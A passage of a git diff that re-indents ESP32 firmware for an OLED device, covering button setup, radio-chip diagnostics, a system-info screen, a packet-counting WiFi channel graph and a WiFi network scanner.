-  pinMode(BTN_RIGHT, INPUT_PULLUP);
-  pinMode(BTN_LEFT, INPUT_PULLUP);
+    pinMode(BTN_UP, INPUT_PULLUP);
+    pinMode(BTN_DOWN, INPUT_PULLUP);
+    pinMode(BTN_SELECT, INPUT_PULLUP);
+    pinMode(BTN_BACK, INPUT_PULLUP);
+    pinMode(BTN_RIGHT, INPUT_PULLUP);
+    pinMode(BTN_LEFT, INPUT_PULLUP);
 }
 
 bool btnUp() { return !digitalRead(BTN_UP); }
diff --git a/src/utils/device_check.cpp b/src/utils/device_check.cpp
index 986c344..29f50cf 100644
--- a/src/utils/device_check.cpp
+++ b/src/utils/device_check.cpp
@@ -16,10 +16,10 @@ extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
 
 // ===== RESULTS =====
 struct DeviceStatus {
-  bool nrf1 = false;
-  bool nrf2 = false;
-  bool cc1101 = false;
-  bool oled = true;
+    bool nrf1 = false;
+    bool nrf2 = false;
+    bool cc1101 = false;
+    bool oled = true;
 };
 
 // ===== NRF CHECK =====
@@ -35,24 +35,24 @@ struct DeviceStatus {
 //}
 
 bool checkNRF(RF24 &radio) {
-  radio.powerDown();
-  delay(5);
+    radio.powerDown();
+    delay(5);
 
-  if (!radio.begin(RADIO_SPI))
-    return false;
+    if (!radio.begin(RADIO_SPI))
+        return false;
 
-  delay(5);
+    delay(5);
 
-  return radio.isChipConnected();
+    return radio.isChipConnected();
 }
 
 // ===== CC1101 CHECK =====
 bool checkCC1101(uint8_t csPin) {
-  ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin);
+    ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin);
 
-  delay(5);
+    delay(5);
 
-  return ELECHOUSE_cc1101.getCC1101();
+    return ELECHOUSE_cc1101.getCC1101();
 }
 
 // ===== DRAW =====
@@ -67,85 +67,85 @@ int selectedIndex = 0;
 int offset = 0;
 
 void drawStatus(DeviceStatus &s) {
-  values[0] = s.nrf1;
-  values[1] = s.nrf2;
-  values[2] = s.cc1101;
-  values[3] = s.oled;
+    values[0] = s.nrf1;
+    values[1] = s.nrf2;
+    values[2] = s.cc1101;
+    values[3] = s.oled;
 
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_6x10_tr);
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_6x10_tr);
 
-  // scrolling logic
-  if (selectedIndex < offset)
-    offset = selectedIndex;
+    // scrolling logic
+    if (selectedIndex < offset)
+        offset = selectedIndex;
 
-  if (selectedIndex >= offset + VISIBLE_ROWS)
-    offset = selectedIndex - VISIBLE_ROWS + 1;
+    if (selectedIndex >= offset + VISIBLE_ROWS)
+        offset = selectedIndex - VISIBLE_ROWS + 1;
 
-  for (int i = 0; i < VISIBLE_ROWS; i++) {
-    int item = offset + i;
-    if (item >= MAX_ITEMS)
-      break;
+    for (int i = 0; i < VISIBLE_ROWS; i++) {
+        int item = offset + i;
+        if (item >= MAX_ITEMS)
+            break;
 
-    int y = 12 + i * 10;
+        int y = 12 + i * 10;
 
-    if (item == selectedIndex) {
-      u8g2.drawBox(0, y - 9, 128, 10);
-      u8g2.setDrawColor(0);
-    }
+        if (item == selectedIndex) {
+            u8g2.drawBox(0, y - 9, 128, 10);
+            u8g2.setDrawColor(0);
+        }
 
-    u8g2.drawStr(2, y, labels[item]);
+        u8g2.drawStr(2, y, labels[item]);
 
-    if (values[item])
-      u8g2.drawStr(80, y, "OK");
-    else
-      u8g2.drawStr(80, y, "FAIL");
+        if (values[item])
+            u8g2.drawStr(80, y, "OK");
+        else
+            u8g2.drawStr(80, y, "FAIL");
 
-    if (item == selectedIndex)
-      u8g2.setDrawColor(1);
-  }
+        if (item == selectedIndex)
+            u8g2.setDrawColor(1);
+    }
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 // ===== MAIN =====
 void device_check_run() {
-  DeviceStatus status;
-
-  Serial.println("Running device diagnostics...");
-
-  // NRF
-  status.nrf1 = checkNRF(radio1);
-  status.nrf2 = checkNRF(radio2);
+    DeviceStatus status;
 
-  // CC1101
-  status.cc1101 = checkCC1101(CC1101_CS);
-  // status.cc1101 = true;
+    Serial.println("Running device diagnostics...");
 
-  drawStatus(status);
+    // NRF
+    status.nrf1 = checkNRF(radio1);
+    status.nrf2 = checkNRF(radio2);
 
-  Serial.println("Diagnostics complete");
+    // CC1101
+    status.cc1101 = checkCC1101(CC1101_CS);
+    // status.cc1101 = true;
 
-  while (1) {
     drawStatus(status);
 
-    if (btnUp()) {
-      selectedIndex--;
-      if (selectedIndex < 0)
-        selectedIndex = MAX_ITEMS - 1;
-      delay(150);
-    }
-
-    if (btnDown()) {
-      selectedIndex++;
-      if (selectedIndex >= MAX_ITEMS)
-        selectedIndex = 0;
-      delay(150);
-    }
-
-    if (btnBack()) {
-      delay(150);
-      break;
+    Serial.println("Diagnostics complete");
+
+    while (1) {
+        drawStatus(status);
+
+        if (btnUp()) {
+            selectedIndex--;
+            if (selectedIndex < 0)
+                selectedIndex = MAX_ITEMS - 1;
+            delay(150);
+        }
+
+        if (btnDown()) {
+            selectedIndex++;
+            if (selectedIndex >= MAX_ITEMS)
+                selectedIndex = 0;
+            delay(150);
+        }
+
+        if (btnBack()) {
+            delay(150);
+            break;
+        }
     }
-  }
 }
diff --git a/src/utils/sysinfo.cpp b/src/utils/sysinfo.cpp
index a852aad..cb3871d 100644
--- a/src/utils/sysinfo.cpp
+++ b/src/utils/sysinfo.cpp
@@ -5,80 +5,80 @@
 #include <esp_heap_caps.h>
 
 void runSystemInfoFeature() {
-  esp_chip_info_t chip_info;
+    esp_chip_info_t chip_info;
 
-  esp_chip_info(&chip_info);
+    esp_chip_info(&chip_info);
 
-  while (true) {
-    // u8g2.clearBuffer();
+    while (true) {
+        // u8g2.clearBuffer();
 
-    // char buf[32];
+        // char buf[32];
 
-    // sprintf(buf, "Cores: %d", chip_info.cores);
-    // u8g2.drawStr(0, 14, buf);
+        // sprintf(buf, "Cores: %d", chip_info.cores);
+        // u8g2.drawStr(0, 14, buf);
 
-    // sprintf(buf, "Heap: %d",
-    //         heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
-    // u8g2.drawStr(0, 28, buf);
+        // sprintf(buf, "Heap: %d",
+        //         heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
+        // u8g2.drawStr(0, 28, buf);
 
-    // u8g2.drawStr(0, 60, "BACK to exit");
+        // u8g2.drawStr(0, 60, "BACK to exit");
 
-    // Get RAM info
-    size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
-    size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
-    int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
+        // Get RAM info
+        size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
+        size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
+        int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
 
-    // Get Flash info
-    // uint32_t flashSize = spi_flash_get_chip_size();
-    uint32_t flashSize = ESP.getFlashChipSize();
-    uint32_t flashUsed = ESP.getSketchSize();
-    int flashUsage = (flashUsed * 100) / flashSize;
+        // Get Flash info
+        // uint32_t flashSize = spi_flash_get_chip_size();
+        uint32_t flashSize = ESP.getFlashChipSize();
+        uint32_t flashUsed = ESP.getSketchSize();
+        int flashUsage = (flashUsed * 100) / flashSize;
 
-    // Temperature (approx)
-    uint8_t temperature = temperatureRead();
+        // Temperature (approx)
+        uint8_t temperature = temperatureRead();
 
-    // Chip info
-    esp_chip_info_t chip_info;
-    esp_chip_info(&chip_info);
+        // Chip info
+        esp_chip_info_t chip_info;
+        esp_chip_info(&chip_info);
 
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_6x12_tr);
+        u8g2.clearBuffer();
+        u8g2.setFont(u8g2_font_6x12_tr);
 
-    char buf[32];
+        char buf[32];
 
-    // Box 1 - RAM
-    u8g2.drawFrame(0, 0, 128, 12);
-    sprintf(buf, "RAM: %d%% used", ramUsage);
-    u8g2.drawStr(4, 9, buf);
+        // Box 1 - RAM
+        u8g2.drawFrame(0, 0, 128, 12);
+        sprintf(buf, "RAM: %d%% used", ramUsage);
+        u8g2.drawStr(4, 9, buf);
 
-    // Box 2 - Flash
-    u8g2.drawFrame(0, 12, 128, 12);
-    sprintf(buf, "Flash: %d%% used", flashUsage);
-    u8g2.drawStr(4, 21, buf);
+        // Box 2 - Flash
+        u8g2.drawFrame(0, 12, 128, 12);
+        sprintf(buf, "Flash: %d%% used", flashUsage);
+        u8g2.drawStr(4, 21, buf);
 
-    // Box 3 - Temp (FULL WIDTH now)
-    u8g2.drawFrame(0, 24, 128, 12);
-    sprintf(buf, "Temp: %d C", temperature);
-    u8g2.drawStr(4, 33, buf);
+        // Box 3 - Temp (FULL WIDTH now)
+        u8g2.drawFrame(0, 24, 128, 12);
+        sprintf(buf, "Temp: %d C", temperature);
+        u8g2.drawStr(4, 33, buf);
 
-    // Box 4 - Chip info (FULL WIDTH)
-    u8g2.drawFrame(0, 36, 128, 12);
-    sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
-    u8g2.drawStr(4, 45, buf);
+        // Box 4 - Chip info (FULL WIDTH)
+        u8g2.drawFrame(0, 36, 128, 12);
+        sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
+        u8g2.drawStr(4, 45, buf);
 
-    // Box 5 - PSRAM (KB)
-    u8g2.drawFrame(0, 48, 128, 12);
-    sprintf(buf, "PSRAM: %lu KB",
-            heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
-    u8g2.drawStr(4, 57, buf);
+        // Box 5 - PSRAM (KB)
+        u8g2.drawFrame(0, 48, 128, 12);
+        sprintf(buf, "PSRAM: %lu KB",
+                heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
+        u8g2.drawStr(4, 57, buf);
 
-    u8g2.sendBuffer();
+        u8g2.sendBuffer();
 
-    if (btnBack()) {
-      delay(200);
-      return;
-    }
+        if (btnBack()) {
+            delay(200);
+            return;
+        }
 
-    delay(100);
-  }
+        delay(100);
+    }
 }
diff --git a/src/wifi/wifi_analyzer.cpp b/src/wifi/wifi_analyzer.cpp
index f1c6eb9..2f46b87 100644
--- a/src/wifi/wifi_analyzer.cpp
+++ b/src/wifi/wifi_analyzer.cpp
@@ -14,123 +14,124 @@
 
 // ===== STATE =====
 struct SnifferGraph {
-  uint8_t graphData[MAX_POINTS];
-  uint8_t currentChannel = 1;
-  volatile uint16_t packetCounter = 0;
-  unsigned long lastChannelSwitch = 0;
-  unsigned long lastUpdate = 0;
+    uint8_t graphData[MAX_POINTS];
+    uint8_t currentChannel = 1;
+    volatile uint16_t packetCounter = 0;
+    unsigned long lastChannelSwitch = 0;
+    unsigned long lastUpdate = 0;
 };
 
 static SnifferGraph sniffer;
 
 // ===== CALLBACK =====
 void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
-  if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
-    sniffer.packetCounter++;
-  }
+    if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA ||
+        type == WIFI_PKT_CTRL) {
+        sniffer.packetCounter++;
+    }
 }
 
 // ===== INIT =====
 void wifi_analyzer_start() {
-  // display init (safe to call again)
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_5x8_tr);
-  u8g2.drawStr(0, 10, "Starting analyzer...");
-  u8g2.sendBuffer();
-
-  // reset graph
-  memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
-  sniffer.packetCounter = 0;
-  sniffer.currentChannel = 1;
-
-  // reset WiFi
-  WiFi.disconnect(true, true);
-  esp_wifi_stop();
-  delay(200);
-  esp_wifi_deinit();
-
-  wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-
-  esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
-  esp_wifi_set_promiscuous_rx_cb(snifferCallback);
-  esp_wifi_set_promiscuous(true);
+    // display init (safe to call again)
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_5x8_tr);
+    u8g2.drawStr(0, 10, "Starting analyzer...");
+    u8g2.sendBuffer();
+
+    // reset graph
+    memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
+    sniffer.packetCounter = 0;
+    sniffer.currentChannel = 1;
+
+    // reset WiFi
+    WiFi.disconnect(true, true);
+    esp_wifi_stop();
+    delay(200);
+    esp_wifi_deinit();
+
+    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
+    esp_wifi_init(&cfg);
+    esp_wifi_set_storage(WIFI_STORAGE_RAM);
+    esp_wifi_set_mode(WIFI_MODE_NULL);
+    esp_wifi_start();
+
+    esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
+    esp_wifi_set_promiscuous_rx_cb(snifferCallback);
+    esp_wifi_set_promiscuous(true);
 }
 
 // ===== HELPERS =====
 static void switchChannel() {
-  sniffer.currentChannel++;
-  if (sniffer.currentChannel > 13)
-    sniffer.currentChannel = 1;
+    sniffer.currentChannel++;
+    if (sniffer.currentChannel > 13)
+        sniffer.currentChannel = 1;
 
-  esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
+    esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
 }
 
 static void updateGraph(uint8_t value) {
-  for (int i = 0; i < MAX_POINTS - 1; i++) {
-    sniffer.graphData[i] = sniffer.graphData[i + 1];
-  }
+    for (int i = 0; i < MAX_POINTS - 1; i++) {
+        sniffer.graphData[i] = sniffer.graphData[i + 1];
+    }
 
-  sniffer.graphData[MAX_POINTS - 1] = value;
+    sniffer.graphData[MAX_POINTS - 1] = value;
 }
 
 static void drawGraph(uint16_t pktCount) {
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_5x8_tr);
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_5x8_tr);
 
-  char line1[16];
-  char line2[16];
+    char line1[16];
+    char line2[16];
 
-  sprintf(line1, "Ch:%d", sniffer.currentChannel);
-  sprintf(line2, "Pkts:%d", pktCount * 5);
+    sprintf(line1, "Ch:%d", sniffer.currentChannel);
+    sprintf(line2, "Pkts:%d", pktCount * 5);
 
-  u8g2.drawStr(0, 8, line1);
-  u8g2.drawStr(60, 8, line2);
+    u8g2.drawStr(0, 8, line1);
+    u8g2.drawStr(60, 8, line2);
 
-  for (int x = 1; x < GRAPH_WIDTH; x++) {
-    int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
-    int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
+    for (int x = 1; x < GRAPH_WIDTH; x++) {
+        int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
+        int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
 
-    u8g2.drawLine(x - 1, y1, x, y2);
-  }
+        u8g2.drawLine(x - 1, y1, x, y2);
+    }
 
-  if (pktCount >= SPIKE_THRESHOLD) {
-    u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
-  }
+    if (pktCount >= SPIKE_THRESHOLD) {
+        u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
+    }
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 // ===== LOOP =====
 void wifi_analyzer_loop() {
-  static uint32_t lastPress = 0;
-  unsigned long now = millis();
+    static uint32_t lastPress = 0;
+    unsigned long now = millis();
 
-  // channel hopping
-  if (now - sniffer.lastChannelSwitch >= 1000) {
-    sniffer.lastChannelSwitch = now;
-    switchChannel();
-  }
+    // channel hopping
+    if (now - sniffer.lastChannelSwitch >= 1000) {
+        sniffer.lastChannelSwitch = now;
+        switchChannel();
+    }
 
-  // graph update
-  if (now - sniffer.lastUpdate >= 200) {
-    sniffer.lastUpdate = now;
+    // graph update
+    if (now - sniffer.lastUpdate >= 200) {
+        sniffer.lastUpdate = now;
 
-    uint16_t pktCount = sniffer.packetCounter;
+        uint16_t pktCount = sniffer.packetCounter;
 
-    uint8_t scaled = pktCount * 2;
-    uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
+        uint8_t scaled = pktCount * 2;
+        uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
 
-    updateGraph(value);
-    drawGraph(pktCount);
+        updateGraph(value);
+        drawGraph(pktCount);
 
-    sniffer.packetCounter = 0;
-  }
+        sniffer.packetCounter = 0;
+    }
 
-  // optional: small debounce to not hammer CPU
-  if (millis() - lastPress < 10)
-    return;
+    // optional: small debounce to not hammer CPU
+    if (millis() - lastPress < 10)
+        return;
 }
diff --git a/src/wifi/wifi_scan.cpp b/src/wifi/wifi_scan.cpp
index 39bbcfa..cb284ff 100644
--- a/src/wifi/wifi_scan.cpp
+++ b/src/wifi/wifi_scan.cpp
@@ -6,10 +6,10 @@
 #define MAX_NETWORKS 30
 
 struct WiFiNet {
-  String ssid;
-  int rssi;
-  int channel;
-  bool encrypted;
+    String ssid;
+    int rssi;
+    int channel;
+    bool encrypted;
 };
 
 static WiFiNet networks[MAX_NETWORKS];
@@ -18,122 +18,122 @@ static int selectedIndex = 0;
 
 // ===== SCAN =====
 void wifi_scan_start() {
-  u8g2.clearBuffer();
-  u8g2.drawStr(10, 30, "Scanning WiFi...");
-  u8g2.sendBuffer();
+    u8g2.clearBuffer();
+    u8g2.drawStr(10, 30, "Scanning WiFi...");
+    u8g2.sendBuffer();
 
-  WiFi.mode(WIFI_STA);
-  WiFi.disconnect();
+    WiFi.mode(WIFI_STA);
+    WiFi.disconnect();
 
-  delay(100);
+    delay(100);
 
-  int n = WiFi.scanNetworks();
+    int n = WiFi.scanNetworks();
 
-  networkCount = min(n, MAX_NETWORKS);
+    networkCount = min(n, MAX_NETWORKS);
 
-  for (int i = 0; i < networkCount; i++) {
-    networks[i].ssid = WiFi.SSID(i);
-    networks[i].rssi = WiFi.RSSI(i);
-    networks[i].channel = WiFi.channel(i);
-    networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
-  }
+    for (int i = 0; i < networkCount; i++) {
+        networks[i].ssid = WiFi.SSID(i);
+        networks[i].rssi = WiFi.RSSI(i);
+        networks[i].channel = WiFi.channel(i);
+        networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
+    }
 
-  selectedIndex = 0;
+    selectedIndex = 0;
 }
 
 // ===== DRAW =====
 void wifi_scan_draw() {
-  u8g2.clearBuffer();
-
-  if (networkCount == 0) {
-    u8g2.drawStr(0, 30, "No networks");
-    u8g2.drawStr(0, 45, "Press BACK");
-  } else {
-    char counter[20];
-    sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
-    u8g2.setFont(u8g2_font_5x8_tr);
-    u8g2.drawStr(0, 8, counter);
+    u8g2.clearBuffer();
+
+    if (networkCount == 0) {
+        u8g2.drawStr(0, 30, "No networks");
+        u8g2.drawStr(0, 45, "Press BACK");
+    } else {
+        char counter[20];
+        sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
+        u8g2.setFont(u8g2_font_5x8_tr);
+        u8g2.drawStr(0, 8, counter);
 
-    u8g2.setFont(u8g2_font_6x10_tr);
+        u8g2.setFont(u8g2_font_6x10_tr);
 
-    for (int i = 0; i < 3; i++) {
-      int idx = selectedIndex + i;
-      if (idx >= networkCount)
-        break;
+        for (int i = 0; i < 3; i++) {
+            int idx = selectedIndex + i;
+            if (idx >= networkCount)
+                break;
 
-      int y = 22 + i * 14;
+            int y = 22 + i * 14;
 
-      if (i == 0) {
-        u8g2.drawBox(0, y - 10, 128, 12);
-        u8g2.setDrawColor(0);
-      }
+            if (i == 0) {
+                u8g2.drawBox(0, y - 10, 128, 12);
+                u8g2.setDrawColor(0);
+            }
 
-      String text = networks[idx].ssid;
-      if (text.length() > 10)
-        text = text.substring(0, 10) + "..";
+            String text = networks[idx].ssid;
+            if (text.length() > 10)
+                text = text.substring(0, 10) + "..";
 
-      text += " (" + String(networks[idx].rssi) + ")";
+            text += " (" + String(networks[idx].rssi) + ")";
 
-      u8g2.drawStr(2, y, text.c_str());
+            u8g2.drawStr(2, y, text.c_str());
 
-      if (i == 0)
-        u8g2.setDrawColor(1);
+            if (i == 0)
+                u8g2.setDrawColor(1);
+        }
     }
-  }
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 // ===== DETAILS =====
 void wifi_drawDetails() {
-  if (networkCount == 0)
-    return;
+    if (networkCount == 0)
+        return;
 
-  WiFiNet &net = networks[selectedIndex];
+    WiFiNet &net = networks[selectedIndex];
 
-  u8g2.clearBuffer();
-  u8g2.setFont(u8g2_font_5x8_tr);
+    u8g2.clearBuffer();
+    u8g2.setFont(u8g2_font_5x8_tr);
 
-  u8g2.drawStr(0, 10, net.ssid.c_str());
+    u8g2.drawStr(0, 10, net.ssid.c_str());
 
-  char rssi[20];
-  sprintf(rssi, "RSSI: %d", net.rssi);
-  u8g2.drawStr(0, 20, rssi);
+    char rssi[20];
+    sprintf(rssi, "RSSI: %d", net.rssi);
+    u8g2.drawStr(0, 20, rssi);
 
-  char ch[20];
-  sprintf(ch, "CH: %d", net.channel);
-  u8g2.drawStr(0, 30, ch);
+    char ch[20];
+    sprintf(ch, "CH: %d", net.channel);
+    u8g2.drawStr(0, 30, ch);
 
-  u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
+    u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 // ===== LOOP =====
 void wifi_scan_loop() {
-  static uint32_t lastPress = 0;
-
-  if (millis() - lastPress < 150)
-    return;
-
-  if (btnDown() && selectedIndex < networkCount - 1) {
-    selectedIndex++;
-    wifi_scan_draw();
-    lastPress = millis();
-  } else if (btnUp() && selectedIndex > 0) {
-    selectedIndex--;
-    wifi_scan_draw();
-    lastPress = millis();
-  } else if (btnSelect() && networkCount > 0) {
-    wifi_drawDetails();
-    delay(3000);
-    wifi_scan_draw();
-    lastPress = millis();
-  }
-  //    else if (btnBack())
-  //    {
-  //        wifi_scan_start();
-  //        wifi_scan_draw();
-  //        lastPress = millis();
-  //    }
+    static uint32_t lastPress = 0;
+
+    if (millis() - lastPress < 150)
+        return;
+
+    if (btnDown() && selectedIndex < networkCount - 1) {
+        selectedIndex++;
+        wifi_scan_draw();
+        lastPress = millis();
+    } else if (btnUp() && selectedIndex > 0) {
+        selectedIndex--;
+        wifi_scan_draw();
+        lastPress = millis();
+    } else if (btnSelect() && networkCount > 0) {
+        wifi_drawDetails();
+        delay(3000);
+        wifi_scan_draw();
+        lastPress = millis();
+    }
+    //    else if (btnBack())
+    //    {
+    //        wifi_scan_start();
+    //        wifi_scan_draw();
+    //        lastPress = millis();
+    //    }
 }